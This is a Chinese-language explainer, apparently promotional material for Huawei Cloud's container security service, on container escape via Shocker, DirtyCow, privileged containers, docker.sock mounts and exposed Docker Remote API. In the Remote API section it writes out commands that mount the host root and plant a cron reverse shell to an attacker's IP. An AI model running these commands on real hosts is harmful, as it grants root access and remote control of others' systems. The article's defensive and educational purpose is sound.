雲原生2.0時代,企業都應該瞭解的容器安全

隨著雲原生技術的成熟和市場需求的升級,雲計算的發展已步入新的階段,雲原生2。0時代已經到來。從技術角度看,以容器、微服務以及動態編排為代表的雲原生技術蓬勃發展,成為賦能業務創新的重要推動力,並已經應用到企業核心業務。從市場角度看,雲原生技術已在金融、製造、網際網路等多個行業得到廣泛驗證,支援的業務場景也愈加豐富,行業生態日漸繁榮。雲原生2。0是企業智慧升級的新階段,企業雲化從“ON Cloud”走向“IN Cloud”,新生能力與既有能力有機協同、立而不破,實現資源高效、應用敏捷、業務智慧、安全可信,成為“新雲原生企業”。

雲原生2。0時代,任何企業都可以成為“新雲原生企業”,作為雲原生的代表技術之一的容器,每個企業都應該對容器安全有所瞭解。

傳統的虛擬機器能夠基於虛擬化技術更加有效的利用硬體計算資源,可以實現雲租戶的隔離與資源共享。相比虛擬機器來說,容器更輕、更快,但是作為一種新技術,容器的安全防護也與虛擬機器所有不同。

一、容器 VS 虛擬機器

容器與虛擬機器具有相似的資源隔離和分配價值,但容器的作用不同,因為容器是虛擬化作業系統而不是硬體。容器更便攜,更高效。

雲原生2.0時代,企業都應該瞭解的容器安全

容器VS虛擬機器

虛擬機器(VM)是對物理硬體的抽象,將一臺伺服器轉化為多臺伺服器。Hypervisor允許在一臺機器上執行多個虛擬機器。每個虛擬機器都包含作業系統、應用程式、必要的二進位制檔案和庫的完整副本,佔用數十GB的空間。虛擬機器啟動速度也比較慢。

容器是應用程式層的一個抽象,將程式碼和依賴打包在一起。多個容器可以執行在同一臺機器上,與其他容器共享作業系統核心,每個容器在使用者空間中作為隔離的程序執行。容器比虛擬機器佔用更少的空間(容器映象通常只有幾十MB大小),可以處理更多的應用程式。

二、容器逃逸

雲原生2.0時代,企業都應該瞭解的容器安全

容器逃逸,是容器技術啟用以來一直被關注的問題,甚至被認為是容器的首要安全問題。所謂“逃逸”,指的是“流氓”容器/虛擬機器嘗試突破隔離環境的限制,訪問宿主系統或者在同一個系統上的同駐容器或虛擬機器。從而造成敏感資訊洩露,或者系統及服務發生DOS的行為。

雲原生2.0時代,企業都應該瞭解的容器安全

但正是由於容器與宿主系統共享核心,因此容器與宿主機有著更大的接觸面,隔離層次更少,更容易從容器內實施逃逸攻擊。因此,如何解決容器逃逸安全風險,避免容器逃逸攻擊帶來的損失是容器安全中最為重要的一個問題。

三、容器逃逸常用手段

1)透過容器自身漏洞及核心漏洞逃逸

雲原生2.0時代,企業都應該瞭解的容器安全

攻擊的主要途徑之一就是利用漏洞,透過程式設計或實現的缺陷來執行非法操作,容器逃逸也不例外。容器自身漏洞是其利用進行逃逸的路徑之一,同時由於容器共享宿主系統核心,因此核心漏洞是其逃逸的另一路徑,同時由於核心漏洞的數量遠遠大於容器自身漏洞,因此核心漏洞甚至成為容器逃逸更為主要的一個手段。

1.1 利用容器漏洞逃逸 – shocker攻擊

Shocker攻擊是容器逃逸最著名的案例,其本質是利用了一個不常用的系統呼叫open_by_handle_at,同時藉助docker1。0前版本並未限制CAP_DAC_READ_SEARCH能力,並將容器啟動時會掛載宿主機檔案到容器內(如舊版本的/。dockerinit,新版本的/etc/hosts)作為起點,執行暴力破解攻擊,最終獲取到要訪問的宿主系統檔案的控制代碼資訊並進行讀取,從而實現逃逸。

Github地址:https://github。com/gabrtv/shocker

容器執行shocker攻擊逃逸訪問宿主系統/etc/shadow檔案:

雲原生2.0時代,企業都應該瞭解的容器安全

1.2 核心漏洞利用逃逸 – dirtycow攻擊

雲原生2.0時代,企業都應該瞭解的容器安全

DirtyCow(髒牛漏洞,CVE-2016-5195)是Linux核心中的一個許可權提升漏洞,其也可被容器利用實施逃逸。容器利用dirtycow漏洞改寫虛擬動態共享庫VDSO(

Virtual Dynamically Shared Objec

),並將shellcode置入其中,當主機系統程序呼叫並執行修改後的內容時,就會借用此程序身份執行置入的shellcode,並最終在容器內獲得一個來自主機的root許可權的shell。

雲原生2.0時代,企業都應該瞭解的容器安全

2)不安全配置引發逃逸

2.1 不安全啟動,如privileged特權容器

容器以——privileged引數啟動時稱為特權容器,特權容器顧名思義具有較高許可權,包括對宿主機上的裝置的訪問許可權。因此,攻擊者可以直接在容器內mount主機裝置並進行檔案訪問,從而輕而易舉實現逃逸。

雲原生2.0時代,企業都應該瞭解的容器安全

雲原生2.0時代,企業都應該瞭解的容器安全

2.2 不安全掛載,如掛載sock到容器

雲原生2.0時代,企業都應該瞭解的容器安全

圖片來源:https://medium。com/better-programming/about-var-run-docker-sock-3bfd276e12fd

Docker。sock檔案是一個Unix domain socket檔案,是Docker daemon預設監聽的套接字檔案,docker client透過它與docker daemon進行通訊。docker client將資訊查詢和下發命令等請求透過docker。sock發給docker daemon,然後由deamon執行具體請求,包括映象查詢、容器建立等。

將docker。sock掛載到容器內,可以在容器內繼續執行一個容器,實現docker in docker,並可在容器內容器啟動時透過-v引數將宿主機根目錄掛載到容器內,從而在容器內訪問宿主機檔案,實現逃逸。

雲原生2.0時代,企業都應該瞭解的容器安全

2.3 Docker remote api未授權訪問

預設情況下,docker daemon只允許透過unix domain socket – docker。sock進行本地通訊操作,但除此之外,docker daemon也提供了Restful API供遠端client訪問(daemon透過-H引數指定監聽埠),如果未對訪問進行許可權控制及合規性檢查,則攻擊者也可以訪問這個API執行高危操作,並實施逃逸攻擊。

例如一種攻擊場景:

(1)透過Remote API建立一個容器,並將宿主系統根目錄掛載到容器內:

#

docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash

其中:$IP表示docker daemon服務ip,$PORT表示

Remote API監聽埠

(2)將反彈shell命令寫入計劃任務檔案

#

echo ‘* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1’ >> /mnt/var/spool/cron/crontabs/root

其中:$IP表示攻擊端IP,$PROT表示攻擊端監聽埠

(3)攻擊端監聽上一步中的$PORT埠,獲取來自對端(docker服務所在系統)的具有root許可權得反彈shell,並任意訪問。

四、華為雲容器安全服務CGS之逃逸安全防護方案

雲原生2.0時代,企業都應該瞭解的容器安全

華為雲容器安全服務CGS

華為雲容器安全服務CGS構建了容器安全威脅縱深防禦體系,提供包括映象掃描、威脅檢測與威脅防護的一整套容器安全能力,提供針對容器的Build、Ship、Run全生命週期保護能力,滲透到整個容器DevOps流程,保證容器虛擬環境從開發到生產整個流程的安全。其中,容器逃逸檢測是CGS的核心功能之一,它透過如下手段構建系統化的容器逃逸全面防護能力:

1)監控容器不安全配置啟動

前文中提到,不安全配置是容器逃逸的一個重要原因。因此,監控容器的不安全啟動也是容器逃逸防護的一個重要手段。CGS可以針對容器啟動的各種不安全配置進行監控,包括啟動特權容器、掛載宿主機檔案、安全策略關閉、特權埠對映等,從容器建立伊始就檢測逃逸風險,實現整體防護方案第一步。

2)容器行為深度分析

容器啟動後,CGS可對容器執行過程中的行為進行實時跟蹤和觀察,監控容器內的程序執行、檔案訪問、網路連線、系統呼叫等行為,並對行為進行深度分析,從行為過程體現出來的特徵到行為所產生的結果進行全面分析檢測,有效發現容器已知和未知漏洞利用逃逸攻擊行為並進行告警。

雲原生2.0時代,企業都應該瞭解的容器安全

3)容器基線機器學習

一般而言,容器的行為通常固定且純粹,比如一個提供web服務的容器內可能只會執行一個nginx程序,一個提供DB服務的容器內可能只會執行一個mysql程序,並且程序所執行的操作,包括檔案訪問、系統呼叫、網路連線等行為都有固定合理範圍,因此可以對容器圈定正常行為範圍,構建行為基線。CGS利用機器學習技術,從靜態和動態兩個維度分析容器正常行為並建立基線,使得基線模型更準確、更完整,然後根據基線跟蹤容器行為,感知基線以外的異常行為,實現對攻擊行為的全面感知,並有效提升對於容器利用0day漏洞進行逃逸攻擊的檢測能力。

雲原生2.0時代,企業都應該瞭解的容器安全

華為雲CGS容器逃逸方案防護機制內建在防護平臺,無需使用者參與即可實現容器逃逸系統化檢測,具有良好的易用性,同時方案採用事件驅動機制實現效能高、反應快,為容器安全保駕護航。